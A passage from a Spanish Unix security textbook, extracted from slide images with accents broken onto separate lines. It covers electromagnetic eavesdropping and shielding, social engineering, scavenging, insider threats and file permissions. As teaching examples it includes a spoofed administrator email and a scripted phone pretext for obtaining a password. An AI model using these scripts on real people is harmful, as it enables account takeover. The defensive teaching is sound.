to adecuado ([vE85] y [Smu90]). Otras se˜ales que a priori tambi´n son f´ciles de captar, como
n e a
las de enlaces por radiofrecuencia o las de redes basadas en infrarrojos, no presentan tantos prob-
lemas ya que desde un principio los dise˜adores fueron conscientes de la facilidad de captaci´n y
n o
las amenazas a la seguridad que una captura implica; esta inseguridad tan palpable provoc´ la o
r´pida aparici´n de mecanismos implementados para dificultar el trabajo de un atacante, como el
a o
salto en frecuencias o el espectro disperso ([KMM95]), o simplemente el uso de protocolos cifrados.
Este tipo de emisiones quedan fuera del alcance de tempest, pero son cubiertas por otro est´ndara
denominado nonstop, tambi´n del Departamento de Defensa estadounidense.
e
Sin embargo, nadie suele tomar precauciones contra la radiaci´n que emite su monitor, su im-
o
presora o el cable de su m´dem. Y son justamente las radiaciones de este hardware desprotegido las
o
m´s preocupantes en ciertos entornos, ya que lo unico que un atacante necesita para recuperarlas es
a ´
el equipo adecuado. Dicho equipo puede variar desde esquemas extremadamente simples y baratos –
pero efectivos – ([Hig88]) hasta complejos sistemas que en teor´ utilizan los servicios de inteligencia
ıa
de algunos pa´ ıses. La empresa Consumertronics (www.tsc-global.com) fabrica y vende diversos](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-50-320.jpg)
![´
2.4. RADIACIONES ELECTROMAGNETICAS 33
dispositivos de monitorizaci´n, entre ellos el basado en [vE85], que se puede considerar uno de los
o
pioneros en el mundo civil.
Pero, ¿c´mo podemos protegernos contra el eavesdropping de las radiaciones electromagn´ticas
o e
de nuestro hardware? Existe un amplio abanico de soluciones, desde simples medidas de prevenci´n o
hasta complejos – y caros – sistemas para apantallar los equipos. La soluci´n m´s barata y simple
o a
que podemos aplicar es la distancia: las se˜ales que se transmiten por el espacio son atenuadas
n
conforme aumenta la separaci´n de la fuente, por lo que si definimos un per´
o ımetro f´
ısico de seguri-
dad lo suficientemente grande alrededor de una m´quina, ser´ dif´ para un atacante interceptar
a a ıcil
desde lejos nuestras emisiones. No obstante, esto no es aplicable a las se˜ales inducidas a trav´s
n e
de conductores, que aunque tambi´n se atenuan por la resistencia e inductancia del cableado, la
e
p´rdida no es la suficiente para considerar seguro el sistema.
e
Otra soluci´n consiste en la confusi´n: cuantas m´s se˜ales existan en el mismo medio, m´s
o o a n a
dif´ ser´ para un atacante filtrar la que est´ buscando; aunque esta medida no hace imposible la
ıcil a a
interceptaci´n, s´ que la dificulta enormemente. Esto se puede conseguir simplemente manteniendo
o ı
diversas piezas emisoras (monitores, terminales, cables. . . ) cercanos entre s´ y emitiendo cada una
ı
de ellas informaci´n diferente (si todas emiten la misma, facilitamos el ataque ya que aumentamos
o
la intensidad de la se˜al inducida). Tambi´n existe hardware dise˜ado expl´
n e n ıcitamente para crear
ruido electromagn´tico, generalmente a trav´s de se˜ales de radio que enmascaran las radiaciones
e e n
emitidas por el equipo a proteger; dependiendo de las frecuencias utilizadas, quiz´s el uso de tales
a
dispositivos pueda ser ilegal: en todos los paises el espectro electromagn´tico est´ dividido en ban-
e a
das, cada una de las cuales se asigna a un determinado uso, y en muchas de ellas se necesita una
licencia especial para poder transmitir. En Espa˜a estas licencias son otorgadas por la Secretar´
n ıa
General de Comunicaciones, dependiente del Ministerio de Fomento.
Por ultimo, la soluci´n m´s efectiva, y m´s cara, consiste en el uso de dispositivos certificados que
´ o a a
aseguran m´ ınima emisi´n, as´ como de instalaciones que apantallan las radiaciones. En el hardware
o ı
hay dos aproximaciones principales para prevenir las emisiones: una es la utilizaci´n de circuitos
o
especiales que apenas emiten radiaci´n (denominados de fuente eliminada, source suppressed), y
o
la otra es la contenci´n de las radiaciones, por ejemplo aumentando la atenuaci´n; generalmente
o o
ambas aproximaciones se aplican conjuntamente ([Swi92]). En cuanto a las instalaciones utilizadas
para prevenir el eavesdropping, la idea general es aplicar la contenci´n no s´lo a ciertos dispositivos,
o o
sino a un edificio o a una sala completa. Quiz´s la soluci´n m´s utilizada son las jaulas de Faraday
a o a
sobre lugares donde se trabaja con informaci´n sensible; se trata de separar el espacio en dos zonas
o
electromagn´ticamente aisladas (por ejemplo, una sala y el resto del espacio) de forma que fuera
e
de una zona no se puedan captar las emisiones que se producen en su interior. Para implementar
esta soluci´n se utilizan materiales especiales, como algunas clases de cristal, o simplemente un
o
recubrimiento conductor conectado a tierra.
Antes de finalizar este punto quiz´s es recomendable volver a insistir en que todos los problemas
a
y soluciones derivados de las radiaciones electromagn´ticas no son aplicables a los entornos o em-
e
presas normales, sino que est´n pensados para lugares donde se trabaja con informaci´n altamente
a o
confidencial, como ciertas empresas u organismos militares o de inteligencia. Aqu´ simplemente
ı
se han presentado como una introducci´n para mostrar hasta donde puede llegar la preocupaci´n
o o
por la seguridad en esos lugares. La radiaci´n electromagn´tica no es un riesgo importante en la
o e
mayor´ de organizaciones ya que suele tratarse de un ataque costoso en tiempo y dinero, de forma
ıa
que un atacante suele tener muchas otras puertas para intentar comprometer el sistema de una
forma m´s f´cil.
a a](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-51-320.jpg)
![Cap´
ıtulo 3
Administradores, usuarios y
personal
3.1 Introducci´n
o
Con frecuencia se suele afirmar, y no es una exageraci´n ([And94]), que el punto m´s d´bil de
o a e
cualquier sistema inform´tico son las personas relacionadas en mayor o menor medida con ´l; desde
a e
un administrador sin una preparaci´n adecuada o sin la suficiente experiencia, hasta un guardia
o
de seguridad que ni siquiera tiene acceso l´gico al sistema, pero que deja acceder a todo el mundo
o
a la sala de operaciones, pasando por supuesto por la gran mayor´ de usuarios, que no suelen
ıa
conscientes de que la seguridad tambi´n les concierne a ellos. Frente a cada uno de estos grupos
e
(administradores, usuarios y personal externo al sistema) un potencial atacante va a comportarse de
una forma determinada para conseguir lograr sus objetivos, y sobre cada uno de ellos ha de aplicarse
una pol´ıtica de seguridad diferente: obviamente podemos exigir a un administrador de sistemas un-
os conocimientos m´s o menos profundos de temas relacionados con la seguridad inform´tica, pero
a a
esos conocimientos han de ser diferentes para el guardia de seguridad (sus conocimientos ser´ ıan
referentes a la seguridad f´ısica del entorno), y se convierten en simples nociones b´sicas si se trata
a
de un usuario medio.
Hasta ahora hemos hablado de posibles ataques relacionados con el personal de un sistema in-
form´tico; sin embargo, existen otras amenazas a la seguridad provenientes de ese personal que
a
no son necesariamente ataques en un sentido estricto de la palabra; en muchos casos no son in-
tencionados, se podr´ catalogar como accidentes, pero el que la amenaza no sea intencionada no
ıan
implica que no se deba evitar: decir ‘no lo hice a prop´sito’ no va ayudar para nada a recuperar
o
unos datos perdidos. En una sala de operaciones, las personas realizan acciones sobre los sistemas
bas´ndose – en muchos casos – unicamente en su apreciaci´n personal de lo que est´ sucediendo; en
a ´ o a
esas circunstancias, dichas acciones pueden ser sorprendentes y devastadoras, incluso si provienen
de los mejores y m´s cuidadosos administradores ([CoIST99]).
a
3.2 Ataques potenciales
3.2.1 Ingenier´ social
ıa
La ingenier´ social consiste en la manipulaci´n de las personas para que voluntariamente realicen
ıa o
actos que normalmente no har´ ([Fen99]); aunque a nadie le gusta ser manipulado, en algunos
ıan
casos no es excesivamente perjudicial (por ejemplo un vendedor puede aplicar ingenier´ social para
ıa
conocer las necesidades de un cliente y ofrecer as´ mejor sus productos), si las intenciones de quien la
ı
pone en pr´ctica no son buenas se convierte quiz´s el m´todo de ataque m´s sencillo, menos peligroso
a a e a
para el atacante y por desgracia en uno de los m´s efectivos. Ese atacante puede aprovechar el
a
desconocimiento de unas m´ ınimas medidas de seguridad por parte de personas relacionadas de una
u otra forma con el sistema para poder enga˜arlas en beneficio propio. Por ejemplo, imaginemos
n
que un usuario de una m´quina Unix recibe el siguiente correo electr´nico:
a o](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-53-320.jpg)
![36 CAP´
ITULO 3. ADMINISTRADORES, USUARIOS Y PERSONAL
From: Super-User <root@sistema.com>
To: Usuario <user@sistema.com>
Subject: Cambio de clave
Hola,
Para realizar una serie de pruebas orientadas a conseguir un optimo
funcionamiento de nuestro sistema, es necesario que cambie su clave mediante
la orden ’passwd’. Hasta que reciba un nuevo aviso (aproximadamente en una
semana), por favor, asigne a su contrasenya el valor ’PEPITO’ (en
mayusculas).
Rogamos disculpe las molestias. Saludos,
Administrador
Si el usuario no sabe nada sobre seguridad, es muy probable que siga al pie de la letra las indi-
caciones de este e-mail; pero nadie le asegura que el correo no haya sido enviado por un atacante
– es muy f´cil camuflar el origen real de un mensaje –, que consigue as´ un acceso al sistema: no
a ı
tiene m´s que enviar un simple correo, sin complicarse buscando fallos en los sistemas operativos o
a
la red, para poner en juego toda la seguridad. Sin saberlo, y encima pensando que lo hace por el
bien com´n, el usuario est´ ayudando al pirata a romper todo el esquema de seguridad de nuestra
u a
m´quina.
a
Pero no siempre el atacante se aprovecha de la buena fe de los usuarios para lograr sus prop´sitos;
o
tampoco es extra˜o que intente enga˜ar al propio administrador del sistema1 . Por ejemplo, imag-
n n
inemos que la m´quina tiene el puerto finger abierto, y el atacante detecta un nombre de usuario
a
que nunca ha conectado al sistema; en este caso, una simple llamada telef´nica puede bastarle para
o
conseguir el acceso:
[Administrador] Buenos dias, aqu´ ´rea de sistemas, en qu´ podemos
ı a e
ayudarle?
[Atacante] Hola, soy Jos´ Luis P´rez, llamaba porque no consigo
e e
recordar mi password en la m´quina sistema.upv.es.
a
[Administrador] Un momento, me puede decir su nombre de usuario?
[Atacante] S´, claro, es jlperez.
ı
[Administrador] Muy bien, la nueva contrase~a que acabo de asignarle
n
es rudolf. Por favor, nada m´s conectar, no olvide cambiarla.
a
[Atacante] Por supuesto. Muchas gracias, ha sido muy amable.
[Administrador] De nada, un saludo.
Como podemos ver, estamos en la situaci´n opuesta a la anterior: ahora es el root quien facilita la
o
entrada del atacante en la m´quina; lo unico que este ha necesitado es un nombre de usuario v´lido.
a ´ a
Evidentemente, cualquier mensaje, llamada telef´nica o similar que un usuario reciba debe ser
o
puesto inmediatamente en conocimiento del administrador del sistema; hay que recordar a los
usuarios que en ning´n caso se necesita su contrase˜a para realizar tareas administrativas en la
u n
m´quina. De la misma forma, si es el administrador quien directamente recibe algo parecido a lo
a
que acabamos de ver, quiz´s sea conveniente notificar el hecho a los responsables de la organizaci´n,
a o
y por supuesto poner la m´xima atenci´n en la seguridad de los sistemas involucrados, ya que en
a o
este caso se sabe a ciencia cierta que alguien intenta comprometer nuestra seguridad; en [Rad97] y
[WD95] se muestran algunas de las reglas b´sicas que debemos seguir en nuestra organizaci´n para
a o
prevenir ataques de ingenier´ social y tambi´n para, en el caso de que se produzcan, reducir al
ıa e
m´ınimo sus efectos.
3.2.2 Shoulder Surfing
Otro tipo de ataque relacionado con la ingenuidad de los usuarios del sistema (pero tambi´n con
e
el control de acceso f´
ısico) es el denominado shoulder surfing. Consiste en ‘espiar’ f´
ısicamente a
1 Esto simplemente es para dar m´s credibilidad, pero no es necesario que el usuario real no haya conectado en
a
mucho tiempo.](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-54-320.jpg)
![38 CAP´
ITULO 3. ADMINISTRADORES, USUARIOS Y PERSONAL
3.2.4 Basureo
La t´cnica del basureo (en ingl´s, scavenging) est´ relacionada tanto con los usuarios como con
e e a
la seguridad f´
ısica de los sistemas, de la que hemos hablado en el anterior cap´ ıtulo; consiste en
obtener informaci´n dejada en o alrededor de un sistema inform´tico tras la ejecuci´n de un tra-
o a o
bajo ([Par81]). El basureo puede ser f´ısico, como buscar en cubos de basura (trashing, traducido
tambi´n por basureo) listados de impresi´n o copias de documentos, o l´gico, como analizar buffers
e o o
de impresoras, memoria liberada por procesos, o bloques de un disco que el sistema acaba de marcar
como libres, en busca de informaci´n.
o
Aunque esta t´cnica no es muy utilizada en la mayor´ de entornos, hemos de pensar que si un
e ıa
usuario tira a la basura documentos que proporcionen informaci´n sobre nuestro sistema, cualquier
o
potencial atacante puede aprovechar esa informaci´n para conseguir acceder al equipo; algo tan
o
simple como una factura en la que se especifiquen n´meros de tel´fono o nombres (reales o de
u e
entrada al sistema) de usuarios puede convertirse en una valiosa informaci´n para un atacante.
o
Adem´s, en ocasiones ni siquiera es necesario andar revolviendo por los cubos de basura en busca
a
de informaci´n comprometedora: la carencia de nociones b´sicas sobre seguridad inform´tica hace
o a a
posible que los usuarios dejen al alcance de cualquiera informaci´n vital de cara a mantener un sis-
o
tema seguro. Personalmente, en un aula de inform´tica de la Universidad Polit´cnica de Valencia
a e
encontr´ por casualidad una hoja de papel que estaba siendo utilizada a modo de alfombrilla para
e
el rat´n; esta hoja era una carta personalizada que el director de la Escuela T´cnica Superior de
o e
Ingenieros Industriales hab´ enviado a cada alumno de esa escuela para informarles de sus nuevas
ıa
claves de acceso a ciertos recursos de la universidad, ya que las anteriores hab´ tenido que ser
ıan
cambiadas porque un pirata las captur´. Con esa sencilla hoja de papel (en la figura 3.1 se muestra
o
una copia – con los datos importantes ocultos, en el original no hay nada ‘censurado’ –) cualquiera
podr´ haber le´ el correo de ese usuario, utilizar su acceso remoto de la universidad, curiosear
ıa ıdo
en su expediente o participar en foros de asignaturas bajo la identidad del usuario atacado.
Como hemos dicho el basureo no es un ataque habitual en organizaciones ‘normales’, simplemente
porque los datos con los que estan trabajan no suelen ser de alta confidencialidad. De cualquier
forma, si deseamos evitar problemas lo m´s inmediato es utilizar una m´quina trituradora de pa-
a a
pel (su precio no suele ser prohibitivo, y la inversi´n quiz´s valga la pena) para destruir toda la
o a
documentaci´n antes de arrojarla a la basura; incluso nos puede interesar contratar los servicios
o
de compa˜´ dedicadas exclusivamente a la destrucci´n de estos soportes. En el caso de sistemas
nıas o
de almacenamiento l´gico (discos, CD-ROMs, cintas. . . ) tambi´n es importante una correcta inuti-
o e
lizaci´n de los mismos para que un potencial atacante no pueda extraer informaci´n compromete-
o o
dora; no suele ser suficiente el simple borrado del medio o un leve da˜o f´
n ısico (por ejemplo, partir
un CD-ROM), ya que como comentaremos al hablar de recuperaci´n de datos existen empresas
o
capaces de extraer hasta el ultimo bit de un medio borrado o da˜ado. Lo m´s efectivo ser´ un
´ n a ıa
borrado seguro, seguido de una destrucci´n f´
o ısica importante que haga imposible la reconstrucci´no
del medio.
3.2.5 Actos delictivos
Bajo este nombre englobamos actos tipificados claramente como delitos por las leyes espa˜olas,
n
como el chantaje, el soborno o la amenaza. Esto no implica que el resto de actividades no sean
(o deban ser) delitos, sino simplemente que en la pr´ctica a nadie se le castiga ‘legalmente’ por
a
pasear por una sala de operaciones en busca de claves apuntadas en teclados, pero s´ que se le
ı
puede castigar por amenazar a un operador para que le permita el acceso al sistema.
Por suerte, la naturaleza de la informaci´n con la que se trabaja en la mayor parte de entornos
o
hace poco probable que alguien amenaze o chantajee a un operador para conseguir ciertos datos;
al tratarse de informaci´n poco sensible, en la mayor´ de situaciones los atacantes no llegan a
o ıa
estos extremos para acceder al sistema, sino que utilizan procedimientos menos arriesgados como
la ingenier´ social o la captura de datos que viajan por la red. No obstante, si en alguna ocasi´n
ıa o
nos encontramos en estas situaciones, siempre es conveniente la denuncia; aunque en principio po-
damos ceder ante las presiones de un delincuente, hemos de tener presente que si mostramos cierta](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-56-320.jpg)
![40 CAP´
ITULO 3. ADMINISTRADORES, USUARIOS Y PERSONAL
debilidad, una vez que ´ste consiga sus prop´sitos nada le va a impedir seguir amenaz´ndonos o
e o a
chantaje´ndonos para obtener m´s informaci´n. Si actuamos con la suficiente discrecci´n, las au-
a a o o
toridades pueden f´cilmente llevar al individuo ante la justicia sin necesidad de grandes esc´ndalos
a a
que pueden afectar gravemente a la imagen de nuestra organizaci´n. o
3.3 ¿Qu´ hacer ante estos problemas?
e
La soluci´n a problemas relacionados con el personal es con frecuencia mucho m´s compleja que
o a
la de problemas de seguridad l´gica o seguridad de la red: mientras que un administrador puede
o
aprovechar herramientas de seguridad, capacidades del sistema operativo, o cifrado de datos para
prevenir ciertos ataques, es mucho m´s dif´ para ´l concienciar a los usuarios de unas m´
a ıcil e ınimas
medidas de prevenci´n o convencer a un guardia de seguridad de que s´lo deje acceder a la sala de
o o
operaciones a un n´mero restringido de personas.
u
Generalmente los usuarios de m´quinas Unix en entornos habituales son personas muy poco for-
a
madas en el manejo del sistema operativo, y mucho menos en lo que a seguridad inform´tica se re-
a
fiere; se suele tratar de usuarios que s´lo utilizan la m´quina para ejecutar aplicaciones muy concre-
o a
tas (simulaciones, compiladores, gesti´n del correo electr´nico, aplicaciones cient´
o o ıficas. . . relacionadas
con su ´rea de trabajo), y cuya unica preocupaci´n es que sus datos est´n listos cuando los requieren,
a ´ o e
de la forma m´s f´cil y r´pida posible. Incluso el administrador de ciertos sistemas es uno de estos
a a a
usuarios, elegido dentro del grupo (o mucho peor, son todos los usuarios). Evidentemente, resulta
muy dif´ concienciar a estas personas de la necesidad de seguridad en el entorno; posturas como
ıcil
‘no importa que mi clave sea d´bil, s´lo utilizo la cuenta para imprimir con la l´ser’ son por des-
e o a
gracia demasiado frecuentes. El responsable de seguridad ha de concienciar a todas estas personas
de la necesidad de la seguridad para que el entorno de trabajo funcione como se espera de ´l; la e
seguridad inform´tica se ha de ver como una cadena que se rompe si falla uno de sus eslabones:
a
no importa que tengamos un sistema de cifrado resistente a cualquier ataque o una autenticaci´n o
fuerte de cualquier entidad del sistema si un intruso es capaz de obtener un nombre de usuario con
su correspondiente contrase˜a simplemente llamando por tel´fono a una secretaria.
n e
Adem´s de concienciaci´n de los usuarios y administradores en cuanto a seguridad se refiere (esto
a o
ser´ el que), para conseguir un sistema fiable es necesaria la formaci´n de los mismos (el como).
ıa ´ o ´
De la misma forma que a nadie se le ocurre conducir sin tener unos conocimientos b´sicos sobre un
a
autom´vil, no deber´ ser tan habitual que la gente utilice o administre Unix sin unos conocimientos
o ıa
previos del sistema operativo. Evidentemente, a un qu´ ımico que utiliza el sistema para simular el
comportamiento de determinada sustancia bajo ciertas condiciones no se le puede exigir un curso
intensivo o unos grandes conocimientos de mecanismos de seguridad en Unix; pero s´ que ser´ı ıa
recomendable que conozca unas ideas b´sicas (volviendo al ejemplo del autom´vil, para conducir
a o
un coche a nadie se le exige ser un as de la mec´nica, pero s´ unas cualidades m´
a ı ınimas). Estas
ideas b´sicas se pueden incluso resumir en una hoja que se le entregue a cada usuario al darlos de
a
alta en el sistema. Si pasamos a hablar de administradores, s´ que ser´ recomendable exigirles un
ı ıa
cierto nivel de conocimientos de seguridad, nivel que se puede adquirir simplemente leyendo alg´n li-
u
bro (especialmente recomendado ser´ [GS96] o, para los que dispongan de menos tiempo, [RCG96]).
ıa
Un grupo de personas m´s delicado si cabe es el conjunto formado por todos aquellos que no
a
son usuarios del sistema pero que en cierta forma pueden llegar a comprometerlo. Por ejemplo,
en este conjunto encontramos elementos tan diversos como guardias de seguridad que controlen el
acceso a las instalaciones inform´ticas o personal de administraci´n y servicios que no utilicen el
a o
sistema pero que tengan acceso f´ ısico a ´l, como electricistas, bedeles o personal de limpieza. Sin
e
entrar en temas que seguramente no son aplicables a los sistemas habituales, como el espionaje
industrial o el terrorismo de alta magnitud2 , simplemente hemos de concienciar y ense˜ar a estos
n
‘usuarios’ unas medidas b´sicas a tomar para no poner en peligro nuestra seguridad; estas medidas
a
dependen por supuesto de la funci´n de cada unas personas realice.
o
Pero, ¿qu´ sucede cuando el personal de nuestra propia organizaci´n produce ataques (y no ac-
e o
2 Temas que habr´ que tener en cuenta en otro tipo de redes.
ıa](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-58-320.jpg)
![3.4. EL ATACANTE INTERNO 41
cidentes) sobre nuestros sistemas? En este caso las consecuencias pueden ser grav´ ısimas, y por
tanto las medidad de protecci´n y detecci´n han de ser estrictas. Se ha de llevar a cabo un control
o o
estricto de las actividades que se realizan en la organizaci´n, por ejemplo mediante pol´
o ıticas que
han de ser de obligado cumplimiento, as´ como un control de acceso a todos los recursos de los
ı
que disponemos (mediante mecanismos de autenticaci´n de usuarios, alarmas, etc.). Adem´s, las
o a
sanciones en caso de incumplimiento de las normas han de ser efectivas y ejemplares: si un usuario
viola intencionadamente nuestra seguridad y no se le sanciona adecuadamente, estamos invitando al
resto de usuarios a que hagan lo mismo. En el punto siguiente vamos a hablar con m´s profundidad
a
de estos atacantes, denominados internos.
3.4 El atacante interno
En el punto anterior hemos presentado al personal de nuestra organizaci´n como v´
o ıctima de los
ataques realizados por agentes externos a la misma; sin embargo, seg´n [Cow92] el 80% de los
u
fraudes, robos, sabotajes o accidentes relacionados con los sistemas inform´ticos son causados por
a
el propio personal de la organizaci´n propietaria de dichos sistemas, lo que se suele denominar
o
el insider factor. ¿Qu´ significa esto? Principalmente que la mayor amenaza a nuestros equipos
e
viene de parte de personas que han trabajado o trabajan con los mismos. Esto, que es realmente
preocupante, lo es mucho m´s si analizamos la situaci´n con un m´
a o ınimo de detalle: una persona
que trabaje codo a codo con el administrador, el programador, o el responsable de seguridad de
una m´quina conoce perfectamente el sistema, sus barreras, sus puntos d´biles. . . de forma que un
a e
ataque realizado por esa persona va a ser much´ ısimo m´s directo, dif´ de detectar, y sobre todo,
a ıcil
efectivo, que el que un atacante externo (que necesita recopilar informaci´n, intentar probar fallos
o
de seguridad o conseguir privilegios) pueda ejecutar.
Pero, ¿por qu´ va a querer alguien atacar a su propia organizaci´n? ¿Por qu´ alguien va a ar-
e o e
riesgarse a perder su trabajo, romper su carrera o incluso a ir a la c´rcel? Como se acostumbra
a
a decir, todos tenemos un precio; no importa lo honestos que seamos o que queramos creer que
somos: dinero, chantaje, factores psicol´gicos. . . nos pueden arrastrar a vender informaci´n, a robar
o o
ficheros o simplemente a proporcionar acceso a terceros que se encarguen del trabajo sucio. En una
empresa, un empleado puede considerarse mal pagado e intentar conseguir un sueldo extra a base de
vender informaci´n; en un banco, alguien que a diario trabaje con los sistemas inform´ticos puede
o a
darse cuenta de la facilidad para desviar fondos a una cuenta sin levantar sospechas; en una base
militar, un pa´ enemigo puede secuestrar a la mujer de un administrador para que ´ste les pase
ıs e
informaci´n confidencial. Existen numerosos estudios ([SM70], [CC86], [HC83], [Kat88], [Rei89]. . . )
o
que tratan de explicar los motivos que llevan a una persona a cometer delitos, inform´ticos o no,
a
contra su propia organizaci´n, pero sea cual sea el motivo la cuesti´n est´ en que tales ataques
o o a
existen, son numerosos, y hay que tomar medidas contra ellos.
¿C´mo prevenir o defendernos de los atacantes internos? En una empresa, una norma b´sica
o a
ser´ verificar el curriculum de cualquier aspirante a nuevo miembro (no simplemente leerlo y dar-
ıa
lo por bueno, sino comprobar los datos y directamente descartar al aspirante si se detecta una
mentira); si buscamos algo m´s de seguridad – por ejemplo, sistemas militares – tambi´n es re-
a e
comendable investigar el pasado de cada aspirante a pertenecer a la organizaci´n, buscando sobre
o
todo espacios en blanco durante los que no se sabe muy bien qu´ ha hecho o a qu´ se ha dedicado
e e
esa persona (¿qui´n nos asegura que ese par´ntesis de tres a˜os durante los que el aspirante asegura
e e n
que estuvo trabajando para una empresa extranjera no los pas´ realmente en la carcel por delitos
o
inform´ticos?). Si siguiendo ejemplos como estos podemos asegurar la integridad de todos los que
a
entran a formar parte del equipo, habremos dado un importante paso en la prevenci´n de ataques
o
internos.
Tampoco debemos olvidar que el hecho de que alguien entre ‘limpio’ a nuestra organizaci´n no o
implica que vaya a seguir as´ durante el tiempo que trabaje para nosotros, y mucho menos cuando
ı
abandone su trabajo. Para minimizar el da˜o que un atacante interno nos puede causar se suelen
n
seguir unos principios fundamentales ([Smi92], [GS96], [Pla83]. . . ) que se aplican sobre el personal
de la empresa:](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-59-320.jpg)
![Cap´
ıtulo 4
El sistema de ficheros
NOTA: Obviamente, en este cap´ ıtulo no hablaremos del tratamiento de ficheros
(creaci´n, borrado, modificaci´n, jerarqu´ de directorios. . . ), sino de temas referentes
o o ıa
a la seguridad de los archivos y el sistema de ficheros. Para informaci´n sobre la gesti´n
o o
de ficheros se puede consultar cualquier obra que estudie Unix desde una perspectiva
general, como [TY82], [CR94] o [Man91]. Para un conocimiento m´s profundo sobre los
a
ficheros y los sistemas de archivos se puede consultar [Tan91], [Bac86] (bsd), [GC94]
(System V) o, en el caso de Linux, [CDM97] o [BBD+ 96].
4.1 Introducci´n
o
Dentro del sistema Unix todo son archivos: desde la memoria f´ ısica del equipo hasta el rat´n, pasan-
o
do por m´dems, teclado, impresoras o terminales. Esta filosof´ de dise˜o es uno de los factores
o ıa n
que m´s ´xito y potencia proporciona a Unix ([KP84]), pero tambi´n uno de los que m´s peligros
a e e a
entra˜a: un simple error en un permiso puede permitir a un usuario modificar todo un disco duro
n
o leer los datos tecleados desde una terminal. Por esto, una correcta utilizaci´n de los permisos,
o
atributos y otros controles sobre los ficheros es vital para la seguridad de un sistema.
En un sistema Unix t´ ıpico existen tres tipos b´sicos de archivos: ficheros planos, directorios, y
a
ficheros especiales (dispositivos) 1 ; generalmente, al hablar de ficheros nos solemos referir a todos
ellos si no se especifica lo contrario. Los ficheros planos son secuencias de bytes que a priori no
poseen ni estructura interna ni contenido significante para el sistema: su significado depende de las
aplicaciones que interpretan su contenido. Los directorios son archivos cuyo contenido son otros
ficheros de cualquier tipo (planos, m´s directorios, o ficheros especiales), y los ficheros especiales
a
son ficheros que representan dispositivos del sistema; este ultimo tipo se divide en dos grupos: los
´
dispositivos orientados a car´cter y los orientados a bloque. La principal diferencia entre ambos
a
es la forma de realizar operaciones de entrada/salida: mientras que los dispositivos orientados a
car´cter las realizan byte a byte (esto es, car´cter a car´cter), los orientados a bloque las realizan
a a a
en bloques de caracteres.
El sistema de ficheros es la parte del n´cleo m´s visible por los usuarios; se encarga de ab-
u a
straer propiedades f´
ısicas de diferentes dispositivos para proporcionar una interfaz unica de alma-
´
cenamiento: el archivo. Cada sistema Unix tiene su sistema de archivos nativo (por ejemplo, ext2
en Linux, ufs en Solaris o efs en IRIX), por lo que para acceder a todos ellos de la misma forma
el n´cleo de Unix incorpora una capa superior denominada VFS (Virtual File System) encargada
u
de proporcionar un acceso uniforme a diferentes tipos de sistema de ficheros.
Un inodo o nodo ´ ındice es una estructura de datos que relaciona un grupo de bloques de un
dispositivo con un determinado nombre del sistema de ficheros. Internamente, el n´cleo de Unix
u
no distingue a sus archivos por su nombre sino por un n´mero de inodo; de esta forma, el fichero
u
con n´mero de inodo 23421 ser´ el mismo tanto si se denomina /etc/passwd como si se denomina
u a
1 Otros tipos de archivos, como los enlaces simb´licos, los sockets o los pipes no los vamos a tratar aqu´
o ı.](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-65-320.jpg)
![52 CAP´
ITULO 4. EL SISTEMA DE FICHEROS
anita:~# ls -l /tmp/fichero
-rwxr-xr-x 1 root staff 799 Feb 8 19:47 /tmp/fichero
anita:~#
¿C´mo podemos obtener el n´mero en octal a partir de una terna de permisos determinada, y
o u
viceversa? Evidentemente no podemos entrar aqu´ a tratar todas las caracter´
ı ısticas de este sistema
de numeraci´n, pero vamos a proporcionar unas ideas b´sicas. Imaginemos que tenemos un fichero
o a
con unos determinados permisos de los que queremos calcular su equivalente octal, o que conocemos
los permisos a asignar pero no su equivalente num´rico; por ejemplo, necesitamos asignar a un
e
fichero la terna rw-r---wx, que en la pr´ctica no tiene mucho sentido pero que a nosotros nos sirve
a
de ejemplo. Lo primero que debemos hacer a partir de estos bits rwx es calcular su equivalente
binario, para lo que asignamos el valor ‘1’ si un determinado permiso est´ activo (es decir, si
a
aparece una r, w o x en ´l) y un ‘0’ si no lo est´ (aparece un ‘-’); as´ el equivalente binario de la
e a ı,
terna propuesta es 110100011. Ahora simplemente hemos de pasar el n´mero del sistema binario
u
al octal: lo dividimos en grupos de tres elementos (110 100 011) y de cada uno de ellos calculamos
su equivalente octal:
1102 ≡ 1 · 22 + 1 · 21 + 0 · 20 ≡ 68
1002 ≡ 1 · 22 + 0 · 21 + 0 · 20 ≡ 48
0112 ≡ 0 · 22 + 1 · 21 + 1 · 20 ≡ 38
Ya tenemos los tres n´meros de nuestra terna de permisos, o lo que es lo mismo, la representaci´n
u o
octal de los bits iniciales: 643. Por tanto, si necesitamos asignar esta terna a un cierto fichero,
simplemente hemos de ejecutar la orden chmod indic´ndole este n´mero y el nombre del archivo:
a u
anita:~# chmod 643 /tmp/fichero
anita:~# ls -l /tmp/fichero
-rw-r---wx 1 root root 799 Feb 8 19:47 /tmp/fichero*
anita:~#
La forma de trabajar de chmod comentada requiere que se indique expl´ ıcitamente el valor octal de
los bits rwx que queremos otorgar a un fichero; sin importar el valor de las ternas que pose´ antes
ıa
de ejecutar la orden, estamos asignando a los permisos del archivo el nuevo valor valor indicado en
la l´
ınea de comandos. Existe otra forma de trabajo de chmod denominada ‘simb´lica’ en la que no
o
necesitamos indicar el valor octal de todos los bits, sino que especificamos unicamente par´metros
´ a
para los valores de los permisos que el archivo posee y deseamos modificar. En lugar de utilizar el
equivalente octal, utilizamos s´
ımbolos (de ah´ el nombre de esta forma de trabajo) que representan
ı
la activaci´n o desactivaci´n de ciertos bits en cada una de las tres ternas; la sintaxis b´sica5 de
o o a
chmod en este caso es la siguiente:
chmod [ugoa]{+,-}{rwxst} fichero
Podemos ver que el valor simb´lico comienza por cero o m´s letras que indican sobre que terna
o a
de los permisos se van a realizar los cambios (u para propietario del fichero, g para grupo, o para
resto de usuarios y a para las tres ternas; si no se especifica ninguna letra, se asume a). A ellas les
